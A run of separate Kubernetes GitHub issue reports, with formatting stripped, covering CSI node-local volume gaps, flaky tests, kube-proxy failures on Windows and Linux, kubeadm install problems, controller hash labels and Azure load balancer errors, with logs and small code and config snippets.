tldr: csi is positioned as our replacement for flexvolumes.  this issue covers the gaps between existing flexvolume and existing csi.  i consider covering these gaps blockers for csi ga and removing flexvolume alpha, but fortunately i think they are only small deltas from the existing support.  however, i was unable to implement a csi plugin that perform node local operations at this time.\r \r flexvolumes allow extension of nodes for both remote storage  mount, attach, etc  and local storage  exposing filesystem contents from local daemons .  the difference is really the difference between a volume type of \ secretref\  and a volume type of \ ebsvolume\  - the former does not need to be attached to a node, and is implemented by daemon logic solely on the node.  the latter  requires  coordination with an external api, as well as attach and detach logic.\r \r local volume use cases that flexvolume can solve that csi or flexvolume replacement needs to make possible:\r \r 1. allow a pod to be given a per node identity from a non-kube identity provider - for example, a local daemon that provides kerberos or vault identity tokens as a directory in the container.   \r \r     this is a very opinionated custom secret volume that gets its source from someplace other than kubernetes.  the volume is explicitly associated with the node, the pod, and the service account.  a cluster level controller might inject a flex volume of type \ local.kerberos.identity\  into the pod, and the local daemon would then provide a  krb5.keytab  file inside of a tmpfs mounted directory.\r \r 2. allow the contents of an image to be mounted into a pod  https://github.com/dims/docker-flexvol  - so the user defines a volume of type \ container.image\  that has the image name as a volume parameter  \ quay.io/myapplication/static-assets:latest\   that is mounted into a directory in my pod  at \ /srv/static\   so that i don't have to copy them out of an init container.\r 3. allow a local unix domain socket to be injected into a pod that provides a node-local api that cannot be intercepted - for instance, someone wants to provide a socket that proxies the docker daemon but prevents unsafe calls  https://github.com/tecnativa/docker-socket-proxy .  they would request a volume of type \ docker-socket\  and a cluster scoped webhook admission plugin would vet the parameters passed to the volume type.\r 4. implement a unique local storage solution as an extension, rather than being built in to kube.\r \r in prototyping such a plugin for 1  which was a scenario we've been discussing with sig-storage in the container-identity-wg , i ran into the following issues that complicate / prevent these scenarios:\r \r important:\r \r 1. the csi plugin on the node gets no information about the pod from the kubelet  which it implicitly trusts .  flexvolume passes this info:\r \r        \r \textraoptions optionkeypodname  = f.podname\r \textraoptions optionkeypodnamespace  = f.podnamespace\r \textraoptions optionkeypoduid  = string f.poduid \r \t// service account metadata\r \textraoptions optionkeyserviceaccountname  = f.podserviceaccountname\r \r \t// extract secret and pass it as options.\r \tif err := addsecretstooptions extraoptions, f.spec, f.podnamespace, f.drivername, f.plugin.host ; err != nil {\r \t\tos.remove dir \r \t\treturn err\r \t}\r \r \t// implicit parameters\r \tif fsgroup != nil {\r \t\textraoptions optionfsgroup  = strconv.formatint int64  fsgroup , 10 \r \t}\r        \r \r     without this info it is not possible for a csi daemon to, for instance, create a kerberos or other plugin identity specifically for a pod.  the only data the daemon gets is the mount path  which does have the pod uid  but that is a very unsafe assumption and fragile.\r     \r     i would expect sufficient pod info to be passed to csi when a plugin is running on kube that a local implementor can take action based on the pod, rather than on the csi spec.  this is info that is local to the invocation of the pod  unlike the contents of a csi spec .\r \r     the simplest suggestion would be to pass additional info  either parts of the pod, or the entire pod  as part of the csi calls for a given pod on the node, as a platform specific value.  it does not necessarily need to be generic to all csi implementors, since a mesos specific csi plugin would not have the same metadata as kubernetes.\r \r annoying / problematic / scale issues:\r \r 1. implementing a node local csi volume requires creating a pv  and running an attacher .  \r \r     for a node local volume, there is no data that lives off the node.  if an implementer expected  every  pod in the system to have a kerberos identity, and there were 100k pods  or 10k namespaces  on the cluster, that would mean that there were 10k/100k pv and 10k/100k pvc for each node local volume.  it also means the implementor must create a controller that creates a fake pv and pvc for every pod, which is both expensive and introduces the possibility that those pvs/pvcs get out of sync.\r \r     suggest we allow a subset of csi plugins to be specified in the pod spec  gated by appropriate security controls .  the original reason to not do that was to minimize security implications.  however, now that podsecuritypolicy can gate flexvolume use, the same reasoning can be applied to csi volumes.  think of the difference between \ secretref\  and \ aws\  - we're talking about being able to extend things like \ secretref\ .\r \r 2. the concept of \ attaching\  a node local csi volume is questionable - node local storage is always attached.\r \r     assuming we come up with a real solution to the first annoyance above, attachment may not be necessary.\r \r 3. it is still difficult to write a clean and correct csi plugin - more sample code needs to be provided with a reasonable local implementation.  specifically, mounting volumes requires reimplementing code that could be shared with kube as a library.\r \r tbd: add more details from trying this out.\r \r @kubernetes/sig-storage-api-reviews

while lookint into https://github.com/kubernetes/kubernetes/pull/67864, i spent few minutes looking into this test: https://github.com/kubernetes/kubernetes/blob/master/test/integration/scheduler/taint_test.go l64\r \r and there is a problem that is relatively easy to reproduce.\r \r the problem is that we are running its test cases one by one. but nothing in the meantime is ensuring that the current state that the test assumes is reflected in scheduler.\r \r in particular the problem that i observed couple time is that:\r - we finished one test case\r - we call cleanupnodes\r -  but we don't ensure that scheduler actually cleaned up this node \r - we start the next test case\r - we try to schedule a pod that has some toleration  but shouldn't fit on our node \r - by accident the toleration make it fit on to the previous node\r - so scheduler schedules it on the node from previous test case\r \r @kubernetes/sig-scheduling-bugs @k82cn

testgrid: https://k8s-testgrid.appspot.com/sig-release-master-blocking gci-gce-100\r \r sample failure: https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-scalability/18372\r \r this test has been flaky since 9/24.  that's a bit of a problem for 1.13 release, because this is the fastest-running of the e2e scalability tests, and we count on checking it first for scalability fixes.  \r \r the problem appears to be that the cluster of google vms sometimes doesn't deploy:\r \r    \r w1005 13:47:12.185  error:  gcloud.compute.instance-groups.managed.wait-until-stable  timeout while waiting for group to become stable.\r    \r \r can someone from sig-scalability take a look at this?  thanks!\r \r   / \r /assign @shyamjvs

i use kubernetes v1.10.5, when i do below config:\r    \r environment=\ kubelet_dns_args=--cluster-dns=10.53.0.10 --cluster-domain=cluster.local\ \r    \r the kube-dns auto change to\r    \r kube-system    kube-dns                          clusterip   10.48.0.10\r    \r while i still use 10.53.0.  to config the clusterip for my service.\r \r obviously, it can not intercommunicate.\r \r the kube-dns can auto change to valid network is a great feature, but it do not make any warning which make me spend too much time debug why my service do not work.\r \r maybe check and add a waning here is better.\r \r    \r kubeadm version\r kubeadm version: &version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.5\ , gitcommit:\ 32ac1c9073b132b8ba18aa830f46b77dcceb0723\ , gittreestate:\ clean\ , builddate:\ 2018-06-21t11:34:22z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r    \r  \r this is not a feature really. it is install optimization, but in the absence of such a label, i need to use \ feature\  here.\r \r 

i have been deploying master-branch kubernetes on windows using flannel/host-gateway networking, with one master, one linux worker, and three windows worker. recently, kube-proxy stopped running correctly. it exits with an error about not finding the hns network. i have confirmed that the hns network exists on the host with the correct name  cbr0 , and have identified the last commit where kube-proxy works.\r \r   what happened  :\r starting with the commit merging  this pr  https://github.com/kubernetes/kubernetes/pull/70896 , kube-proxy outputs the following error message:\r    \r i0222 21:08:21.264089    6576 flags.go:33  flag: --alsologtostderr=\ false\ \r i0222 21:08:21.303135    6576 flags.go:33  flag: --bind-address=\ 0.0.0.0\ \r i0222 21:08:21.303135    6576 flags.go:33  flag: --cleanup=\ false\ \r i0222 21:08:21.303135    6576 flags.go:33  flag: --cleanup-iptables=\ false\ \r i0222 21:08:21.303135    6576 flags.go:33  flag: --cleanup-ipvs=\ true\ \r i0222 21:08:21.303135    6576 flags.go:33  flag: --cluster-cidr=\ \ \r i0222 21:08:21.303135    6576 flags.go:33  flag: --config=\ /var/vcap/jobs/kube-proxy-windows/config/config.yml\ \r i0222 21:08:21.303135    6576 flags.go:33  flag: --config-sync-period=\ 15m0s\ \r i0222 21:08:21.303135    6576 flags.go:33  flag: --conntrack-max=\ 0\ \r i0222 21:08:21.303135    6576 flags.go:33  flag: --conntrack-max-per-core=\ 32768\ \r i0222 21:08:21.303135    6576 flags.go:33  flag: --conntrack-min=\ 131072\ \r i0222 21:08:21.303135    6576 flags.go:33  flag: --conntrack-tcp-timeout-close-wait=\ 1h0m0s\ \r i0222 21:08:21.303135    6576 flags.go:33  flag: --conntrack-tcp-timeout-established=\ 24h0m0s\ \r i0222 21:08:21.303135    6576 flags.go:33  flag: --enable-dsr=\ false\ \r i0222 21:08:21.303135    6576 flags.go:33  flag: --feature-gates=\ \ \r i0222 21:08:21.303135    6576 flags.go:33  flag: --healthz-bind-address=\ 0.0.0.0:10256\ \r i0222 21:08:21.303135    6576 flags.go:33  flag: --healthz-port=\ 10256\ \r i0222 21:08:21.303135    6576 flags.go:33  flag: --help=\ false\ \r i0222 21:08:21.303135    6576 flags.go:33  flag: --hostname-override=\ \ \r i0222 21:08:21.303135    6576 flags.go:33  flag: --iptables-masquerade-bit=\ 14\ \r i0222 21:08:21.303135    6576 flags.go:33  flag: --iptables-min-sync-period=\ 0s\ \r i0222 21:08:21.303135    6576 flags.go:33  flag: --iptables-sync-period=\ 30s\ \r i0222 21:08:21.303135    6576 flags.go:33  flag: --ipvs-exclude-cidrs=\   \ \r i0222 21:08:21.303135    6576 flags.go:33  flag: --ipvs-min-sync-period=\ 0s\ \r i0222 21:08:21.303135    6576 flags.go:33  flag: --ipvs-scheduler=\ \ \r i0222 21:08:21.303135    6576 flags.go:33  flag: --ipvs-sync-period=\ 30s\ \r i0222 21:08:21.303135    6576 flags.go:33  flag: --kube-api-burst=\ 10\ \r i0222 21:08:21.303135    6576 flags.go:33  flag: --kube-api-content-type=\ application/vnd.kubernetes.protobuf\ \r i0222 21:08:21.303135    6576 flags.go:33  flag: --kube-api-qps=\ 5\ \r i0222 21:08:21.303135    6576 flags.go:33  flag: --kubeconfig=\ \ \r i0222 21:08:21.303135    6576 flags.go:33  flag: --log-backtrace-at=\ :0\ \r i0222 21:08:21.303135    6576 flags.go:33  flag: --log-dir=\ \ \r i0222 21:08:21.303135    6576 flags.go:33  flag: --log-file=\ \ \r i0222 21:08:21.303135    6576 flags.go:33  flag: --log-flush-frequency=\ 5s\ \r i0222 21:08:21.303135    6576 flags.go:33  flag: --logtostderr=\ true\ \r i0222 21:08:21.303135    6576 flags.go:33  flag: --masquerade-all=\ false\ \r i0222 21:08:21.303135    6576 flags.go:33  flag: --master=\ \ \r i0222 21:08:21.303135    6576 flags.go:33  flag: --metrics-bind-address=\ 127.0.0.1:10249\ \r i0222 21:08:21.303135    6576 flags.go:33  flag: --metrics-port=\ 10249\ \r i0222 21:08:21.303135    6576 flags.go:33  flag: --network-name=\ \ \r i0222 21:08:21.303135    6576 flags.go:33  flag: --nodeport-addresses=\   \ \r i0222 21:08:21.303135    6576 flags.go:33  flag: --oom-score-adj=\ -999\ \r i0222 21:08:21.303135    6576 flags.go:33  flag: --profiling=\ false\ \r i0222 21:08:21.303135    6576 flags.go:33  flag: --proxy-mode=\ \ \r i0222 21:08:21.303135    6576 flags.go:33  flag: --proxy-port-range=\ \ \r i0222 21:08:21.303135    6576 flags.go:33  flag: --resource-container=\ /kube-proxy\ \r i0222 21:08:21.303135    6576 flags.go:33  flag: --skip-headers=\ false\ \r i0222 21:08:21.303135    6576 flags.go:33  flag: --source-vip=\ \ \r i0222 21:08:21.303135    6576 flags.go:33  flag: --stderrthreshold=\ 2\ \r i0222 21:08:21.303135    6576 flags.go:33  flag: --udp-timeout=\ 250ms\ \r i0222 21:08:21.303135    6576 flags.go:33  flag: --v=\ 5\ \r i0222 21:08:21.303135    6576 flags.go:33  flag: --version=\ false\ \r i0222 21:08:21.303135    6576 flags.go:33  flag: --vmodule=\ \ \r i0222 21:08:21.303135    6576 flags.go:33  flag: --windows-service=\ false\ \r i0222 21:08:21.303135    6576 flags.go:33  flag: --write-config-to=\ \ \r i0222 21:08:21.304146    6576 feature_gate.go:226  feature gates: &{map  }\r i0222 21:08:21.323134    6576 server_windows.go:102  using kernelspace proxier.\r i0222 21:08:21.340304    6576 proxier.go:522  network-name flag not set. checking environment variable\r e0222 21:08:21.341313    6576 hnsv2.go:36  network id  not found\r e0222 21:08:21.341313    6576 proxier.go:531  unable to find hns network specified by cbr0. please check environment variable kube_network or network-name flag\r f0222 21:08:21.341313    6576 server.go:468  unable to create proxier: network id  not found\r    \r \r this is confusing because  get-hnsnetwork  does show  cbr0 :\r    \r ps c:\\users\\administrator> get-hnsnetwork\r activityid             : 8197af39-d29b-4e39-ab09-fdd4d72cba6b\r additionalparams       :\r currentendpointcount   : 1\r extensions             : {@{id=e7c3b2f0-f3c5-48df-af2b-10fed6d72e7a; isenabled=false; name=microsoft windows filtering\r                          platform}, @{id=e9b59cfa-2be1-4b21-828f-b6fbdbddc017; isenabled=true; name=microsoft azure\r                          vfp switch extension}, @{id=ea24cd6c-d17a-4348-9190-09f0d5be83dd; isenabled=true;\r                          name=microsoft ndis capture}}\r health                 : @{lasterrorcode=0; lastupdatetime=131953393498275344}\r id                     : 4d6c548a-bc49-49e6-b65a-519f91a56be5\r ipv6                   : false\r layeredon              : 0622a746-aab3-419a-8ad9-61af87042371\r macpools               : {@{endmacaddress=00-15-5d-b0-df-ff; startmacaddress=00-15-5d-b0-d0-00}}\r managementip           : 10.74.41.151\r maxconcurrentendpoints : 1\r name                   : cbr0\r policies               : {}\r resources              : @{additionalparams=; allocationorder=0; health=; id=8197af39-d29b-4e39-ab09-fdd4d72cba6b;\r                          portoperationtime=0; state=1; switchoperationtime=0; vfpoperationtime=0;\r                          parentid=e3bd9cd2-1522-4596-9fb5-082e0dcc214a}\r state                  : 1\r subnets                : {@{additionalparams=; addressprefix=10.200.83.0/24; gatewayaddress=10.200.83.1; health=;\r                          id=6622e2d9-e679-43db-a49d-04a8997ffc45; objecttype=5; policies=system.object  ; state=0}}\r totalendpoints         : 2\r type                   : l2bridge\r version                : 38654705665\r    \r  nat network removed from above output \r \r   what you expected to happen  :\r kube-proxy to work in host-gateway mode.\r \r   how to reproduce it  as minimally and precisely as possible   :\r build kubernetes at or after  this commit  https://github.com/kubernetes/kubernetes/commit/c06ca11b5dc637fe3df3fb2b50a1980e1237654c .\r start flanneld, kubelet, and kube-proxy on a windows 2019 vm. see kube-proxy fail despite flanneld having created the  cbr0  network.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : kube-proxy breaks on commit c06ca11b5dc637fe3df3fb2b50a1980e1237654c and later; works on 23a085062c9dc531ec601210c69d65e25e43e6aa\r - cloud provider or hardware configuration: vsphere\r - os  e.g:  cat /etc/os-release  : windows server 2019, with up-to-date patches\r - kernel  e.g.  uname -a  : windows nodes are  10.0.17763.316 , linux master/worker are  4.15.0-43-generic \r - install tools: deployed using  cfcr  https://github.com/cloudfoundry-incubator/kubo-release  \r \r \r  cc @ksubrmnn

i've seen rkt status fail in the steady state due to a \ missing config\ , but the desired output is still provided.  /cc @yifan-gu @jonboulle @dchen1107

a number of things we need to do in the near-ish future will involve making sure that discrete chunks of the codebase are independently importable.  basically, we want to tightly control the dependencies of the client, and of apiserver infrastructure, to start out with. as we clean up the dependencies, we want to keep them cleaned up. this means we need something to test the import paths, to ensure that parts of the codebase that _should_ be logically distinct _are_ logically distinct.  even if we manage to split parts of our codebase off, this test will be useful in the interim while we prepare for the move.  we can potentially use go2idl for part of this, but how to represent allowed/disallowed packages? whitelist or blacklist?  @thockin @smarterclayton

by taking a function to check preconditions and apply changes. every client doing update needs to do this to deal with conflicts, timeouts, etc.      func updaterswithretries rsclient unversionedextensions.replicasetinterface, rs  extensions.replicaset, applyupdate updatefunc    extensions.replicaset, error  {  +  var err error  +  oldrs := rs  +  err = wait.poll 10 time.millisecond, 1 time.minute, func    bool, error  {  +      // apply the update, then attempt to push it to the apiserver.  +      applyupdate rs   +      if rs, err = rsclient.update rs ; err == nil {  +          // rs contains the latest controller post update  +          return true, nil  +      }  +      // update the controller with the latest resource version, if the update failed we  +      // can't trust rs so use oldrs.name.  +      if rs, err = rsclient.get oldrs.name ; err != nil {  +          // the get failed: value in rs cannot be trusted.  +          rs = oldrs  +      }  +      // the get passed: rs contains the latest controller, expect a poll for the update.  +      return false, nil  +  }   +  // if the error is non-nil the returned controller cannot be trusted, if it is nil, the returned  +  // controller contains the applied update.  +  return rs, err  +}      cc @janetkuo

google container engine is supposed to  support autoscaling of instances based on http load  https://cloud.google.com/compute/docs/autoscaler/scaling-cpu-load-balancing scaling_based_on_https_load_balancing_serving_capacity , but when the l7 ingress is installed, this simply doesn't work  even though the gke ui won't inform you of it . for reference, see  my so question  http://stackoverflow.com/questions/37080797/google-container-engine-how-to-auto-scale-an-instance-group-based-on-http-load/37082052 37082052  on the matter.  according to prashanth b, the reason is that instance autoscaling is not yet implemented for the l7 ingress. could this please be implemented?

if for some reason the client in kube-proxy misses an endpoint update, the iptables rules will contain outdated entries that point to non-existing containers. this results in sporadic  no route to host  problems. it is very tricky to debug since other nodes have the correct rule.  unfortunately i lost the log, but the incident caused a  panic: runtime error: slice bounds out of range  while spewing the endpoint update at https://github.com/kubernetes/kubernetes/blob/master/pkg/proxy/config/config.go l147  this happened despite default log levels at  --v=0 .   the panic handler caught the problem and swallowed it. the proxy kept on working and was healthy, happily writing iptables updates... including the outdated endpoint. i was able to correlate the timestamp of the panic to the creation of the outdated pod. it definitely missed the update and kept on working on a stale cache. wasn't were a reconciliation loop in the watch cache at some point?  ironically this wouldn't have been a problem if the panic would have terminated the process. kubernetes would have brought it back up and the state would have been recovered.  i find this to be a serious problem since it's very hard to debug and causes such sporadic errors. finding stale kube-proxies automatically is almost impossible. only workaround i can think of right now is a periodic restart... 😐   this is on v1.2.4.

i have following config for pod, i have docker file which runs as non root user, and the same user with gid and uid is the owner of /opt/volume on the host machine, when i try to deploy the pod with following config, it is creating the path 'default/srv/test' under '/opt/volume/' with root access and my application is not able to access it.      apiversion: v1 kind: pod metadata:   name: test-pod spec:   containers:   - name: test     image:test     volumemounts:       - mountpath: \ /opt/volume\          name: host-vol   volumes:     - name: host-vol       hostpath:         path: \ /opt/volume/default/srv/test\

warning starting pod when using the journald docker logging driver\r    \r kubectl get events\r lastseen   firstseen   count     name        kind      subobject                  type      reason                    source                  message\r 5m         5m          1         127.0.0.1   node                                 normal    starting                  kube-proxy, 127.0.0.1   starting kube-proxy.\r 5m         5m          1         127.0.0.1   node                                 normal    starting                  kubelet, 127.0.0.1      starting kubelet.\r 5m         5m          1         127.0.0.1   node                                 warning   imagegcfailed             kubelet, 127.0.0.1      unable to find data for container /\r 5m         5m          2         127.0.0.1   node                                 normal    nodehassufficientdisk     kubelet, 127.0.0.1      node 127.0.0.1 status is now: nodehassufficientdisk\r 5m         5m          2         127.0.0.1   node                                 normal    nodehassufficientmemory   kubelet, 127.0.0.1      node 127.0.0.1 status is now: nodehassufficientmemory\r 5m         5m          2         127.0.0.1   node                                 normal    nodehasnodiskpressure     kubelet, 127.0.0.1      node 127.0.0.1 status is now: nodehasnodiskpressure\r 4m         4m          1         127.0.0.1   node                                 normal    registerednode            controllermanager       node 127.0.0.1 event: registered node 127.0.0.1 in nodecontroller\r 4m         4m          1         127.0.0.1   node                                 normal    nodeready                 kubelet, 127.0.0.1      node 127.0.0.1 status is now: nodeready\r 4m         4m          3         burstable   pod                                  warning   failedscheduling          default-scheduler       no nodes available to schedule pods\r 4m         4m          1         burstable   pod                                  normal    scheduled                 default-scheduler       successfully assigned burstable to 127.0.0.1\r 4m         4m          1         burstable   pod                                  normal    sandboxreceived           kubelet, 127.0.0.1      pod sandbox received, it will be created.\r 4m         4m          1         burstable   pod       spec.containers{busybox}   normal    pulling                   kubelet, 127.0.0.1      pulling image \ busybox\ \r 4m         4m          1         burstable   pod       spec.containers{busybox}   normal    pulled                    kubelet, 127.0.0.1      successfully pulled image \ busybox\ \r 4m         4m          1         burstable   pod       spec.containers{busybox}   normal    created                   kubelet, 127.0.0.1      created container with id 29d9bd0e8871504f86064188db223253b84f6d344856041d5b6a376e2f946d33\r 4m         4m          1         burstable   pod       spec.containers{busybox}   warning   failed                    kubelet, 127.0.0.1      failed to start container with id 29d9bd0e8871504f86064188db223253b84f6d344856041d5b6a376e2f946d33 with error: rpc error: code = 2 desc = failed to create symbolic link \ /var/log/pods/63a3b8a3-f9fe-11e6-90b7-7085c20cf2ab/busybox_0.log\  to the container log file \ \  for container \ 29d9bd0e8871504f86064188db223253b84f6d344856041d5b6a376e2f946d33\ : symlink  /var/log/pods/63a3b8a3-f9fe-11e6-90b7-7085c20cf2ab/busybox_0.log: no such file or directory\r 4m         4m          1         burstable   pod                                  warning   failedsync                kubelet, 127.0.0.1      error syncing pod, skipping: failed to \ startcontainer\  for \ busybox\  with rpc error: code = 2 desc = failed to create symbolic link \ /var/log/pods/63a3b8a3-f9fe-11e6-90b7-7085c20cf2ab/busybox_0.log\  to the container log file \ \  for container \ 29d9bd0e8871504f86064188db223253b84f6d344856041d5b6a376e2f946d33\ : symlink  /var/log/pods/63a3b8a3-f9fe-11e6-90b7-7085c20cf2ab/busybox_0.log: no such file or directory: \ start container failed\ \r    \r this breaks container-level logging\r    \r kubectl logs burstable\r failed to open log file \ /var/log/pods/63a3b8a3-f9fe-11e6-90b7-7085c20cf2ab/busybox_0.log\ : open /var/log/pods/63a3b8a3-f9fe-11e6-90b7-7085c20cf2ab/busybox_0.log: no such file or directory\r    \r @derekwaynecarr\r

i want to install the k8s cluster on  amazon linux  which version is  2016.09  , i did follow this  installation guide  https://kubernetes.io/docs/getting-started-guides/kubeadm/ , but when i start the  kubelet  service, it rans wrong \r    \r chkconfig kubelet on && service kubelet restart\r error reading information on service kubelet: no such file or directory\r     \r then i input the  kubeadm init  it seems blocked \r    \r kubeadm init\r  kubeadm  warning: kubeadm is in alpha, please do not use it for production clusters.\r  preflight  running pre-flight checks\r  preflight  warning: no supported init system detected, skipping checking for services\r  preflight  warning: no supported init system detected, skipping checking for services\r  preflight  warning: no supported init system detected, skipping checking for services\r  preflight  no supported init system detected, won't ensure kubelet is running.\r  init  using kubernetes version: v1.5.4\r  tokens  generated token: \ 4d808f.a3f7f0accbeda64a\ \r  certificates  generated certificate authority key and certificate.\r  certificates  generated api server key and certificate\r  certificates  generated service account signing keys\r  certificates  created keys and certificates in \ /etc/kubernetes/pki\ \r  kubeconfig  wrote kubeconfig file to disk: \ /etc/kubernetes/kubelet.conf\ \r  kubeconfig  wrote kubeconfig file to disk: \ /etc/kubernetes/admin.conf\ \r  apiclient  created api client, waiting for the control plane to become ready\r    \r i wait for 2 hours and it still has no response, i can't find any log in the ec2 instance. docker images or containers which  kubeadm init  use doesn't appear\r    \r  docker  images\r repository          tag                 image id            created             size\r busybox             latest              00f017a8c2a6        3 days ago          1.11 mb\r  root@k8s-master log  docker ps\r container id        image               command             created             status              ports               names\r  root@k8s-master log  \r     \r can anybody tell me why? thx

here are the hash label keys of all controllers:\r - deployment:  pod-template-hash \r - daemonset:  daemonset-controller-hash   new in 1.7 \r - statefulset:  statefulset.beta.kubernetes.io/revision   new in 1.7 \r \r had a brief discussion with @bgrant0607 and @kow3ns about this, it should be consistent. we can use  controller-revision-hash  for daemonset and statefulset, and keep deployment as-is. deployment hash label key should be different from other two because deployment pods hash labels is used by selector  unlike the other two controllers . \r \r we probably should have used hash annotations instead of hash labels for daemonset and statefulset, since we don't use hash labels to select their history or pods. hash labels are chosen for consistency. this is fine since we don't modify hash label values. \r \r @kubernetes/sig-apps-misc @kubernetes/sig-apps-api-reviews

https://github.com/kubernetes/kubernetes/pull/45528 added several operations to the glusterfs mount operation that nodes are not permitted to perform:\r \r 1. it looks up arbitrary secrets based on storage class parameters. this will not succeed, as the node authorizer will only allow nodes access to secrets referenced by pods or persistent volumes used by the node\r 2. it attempts to create a service and endpoint using the node's api client. nodes do not have permission to create arbitrary endpoints and services.\r \r for both of those reasons, that recreate operation will fail when attempted from the node. the recreate operation should probably move to one of the storage-related controllers  provisioner or attach/detach \r \r cc @rootfs @humblec @kubernetes/sig-storage-bugs

gubernator  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-gci-1-6-cvm-1-7-upgrade-cluster-new/24 secret-upgrade \r  history  https://k8s-testgrid.appspot.com/1.6-1.7-upgrade gke-gci-cvm-upgrade-cluster-new&include-filter-by-regex=%5eoverall%24%7csecret%5c-upgrade \r \r    \r expected error:\r     < errors.errorstring | 0xc420d8d750>: {\r         s: \ expected \\\ mode of file \\\\\\\ /etc/secret-volume/data\\\\\\\ : -rw-r--r--\\\  in container output: expected\     <string>: mode of file \\\ /etc/configmap-volume/data\\\ : -rw-r--r--\     content of file \\\ /etc/secret-volume/data\\\ : keep it secret\     \ to contain substring\     <string>: mode of file \\\ /etc/secret-volume/data\\\ : -rw-r--r--\ ,\r     }\r     expected \ mode of file \\\ /etc/secret-volume/data\\\ : -rw-r--r--\  in container output: expected\r         <string>: mode of file \ /etc/configmap-volume/data\ : -rw-r--r--\r         content of file \ /etc/secret-volume/data\ : keep it secret\r         \r     to contain substring\r         <string>: mode of file \ /etc/secret-volume/data\ : -rw-r--r--\r not to have occurred\r \r k8s.io/kubernetes/test/e2e/framework.  framework .testcontaineroutputmatcher 0xc42084e460, 0x37b931a, 0x16, 0xc420dca000, 0x0, 0xc420ee2e88, 0x2, 0x2, 0x38b3010 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/util.go:2224 +0x240\r k8s.io/kubernetes/test/e2e/framework.  framework .testcontaineroutput 0xc42084e460, 0x37b931a, 0x16, 0xc420dca000, 0x0, 0xc420ee2e88, 0x2, 0x2 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:400 +0x8a\r k8s.io/kubernetes/test/e2e/upgrades.  secretupgradetest .testpod 0x5685088, 0xc42084e460 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/upgrades/secrets.go:142 +0x782\r k8s.io/kubernetes/test/e2e/upgrades.  secretupgradetest .test 0x5685088, 0xc42084e460, 0xc4213a8420, 0x2 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/upgrades/secrets.go:69 +0x90\r k8s.io/kubernetes/test/e2e.  chaosmonkeyadapter .test 0xc421652700, 0xc421158e60 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/cluster_upgrade.go:205 +0x1ed\r k8s.io/kubernetes/test/e2e.  chaosmonkeyadapter .test-fm 0xc421158e60 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/cluster_upgrade.go:270 +0x34\r k8s.io/kubernetes/test/e2e/chaosmonkey.  chaosmonkey .do.func1 0xc421158e60, 0xc420480640 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/chaosmonkey/chaosmonkey.go:89 +0x76\r created by k8s.io/kubernetes/test/e2e/chaosmonkey.  chaosmonkey .do\r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/chaosmonkey/chaosmonkey.go:90 +0x1c7from junit_upgradeupgrades.xml\r    \r \r  /assign @msau42 \r \r please redirect as needed, thanks michelle!\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r while implementing  generic scaler  in  kubectl  i wanted to mock  scale client  in order to write some unit tests. my initial idea was to employ  fakescaleclient , so i extended existing code and registered desired types in the  scheme . later on i realised that the  scale client  doesn't accept  version . every call made from within my test ended up with an error saying \ no registered kinds for\ . which makes sense since the  scheme  holds very specific  gvks \r \r \r one way of resolving this issue would be to provide a  restmapper  that would resolve to proper  gvk  just before the actual look up in the  scheme . but it turned out that we don't have a fake  restmapper  or i couldn't find one. \r \r another idea would be to derive  restmapper  from  fake discovery  but this doesn't seem to be viable approach.\r \r as a workaround i created  scale client  from scratch in my unit test. once this issue is resolved the test could be adapted to the new approach.\r

   /assign\r \r the csi volume plugin mountdevice and unmountdevice feature introduced in  60115 does not currently have e2e tests. this is a tracking issue to add test for that.

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r  >  \r scaling one of the agent pools to 0 breaks all services of type  loadbalancer . for example, creating a new service with type  loadbalancer  will fail, with following events:\r \r    \r   type     reason                      age               from                message                                                                                                                                     \r   ----     ------                      ----              ----                -------                                                                                                                                     \r   normal   ensuringloadbalancer        3m  x5 over 10m   service-controller  ensuring load balancer                                                                                                                      \r   warning  creatingloadbalancerfailed  1m  x5 over 9m    service-controller  error creating load balancer  will retry : failed to ensure load balancer for service polyaxon/polyaxon-polyaxon-ingress-backup: timed out w\r aiting for the condition   \r    \r looking at the  kube-controller-manager  logs i notice:\r \r    \r i0917 20:07:15.187694       1 azure_vmss.go:643  virtualmachinescalesetsclient.updateinstances for service  default/will-svc-test : scale set  k8s-k80-28106673-vmss  - updating, err=compute.virtualmachinescalesetsclie\r nt updateinstances: failure sending request: statuscode=400 -- original error: autorest/azure: service returned an error. status=400 code=\ invalidparameter\  message=\ required parameter 'upgradepolicies.instanceids' is\r  missing  null .\   \r    \r \r note that  k8s-k80-28106673-vmss  is the name of the vmss that was scaled to 0.\r \r azure cloud provider has fixed this issue in v1.11.x but the fix hasn't cherry-picked to v1.10 branch.\r \r   what happened  :\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r refer acs-engine issue: https://github.com/azure/acs-engine/issues/3858\r \r   anything else we need to know?  :\r \r   environment  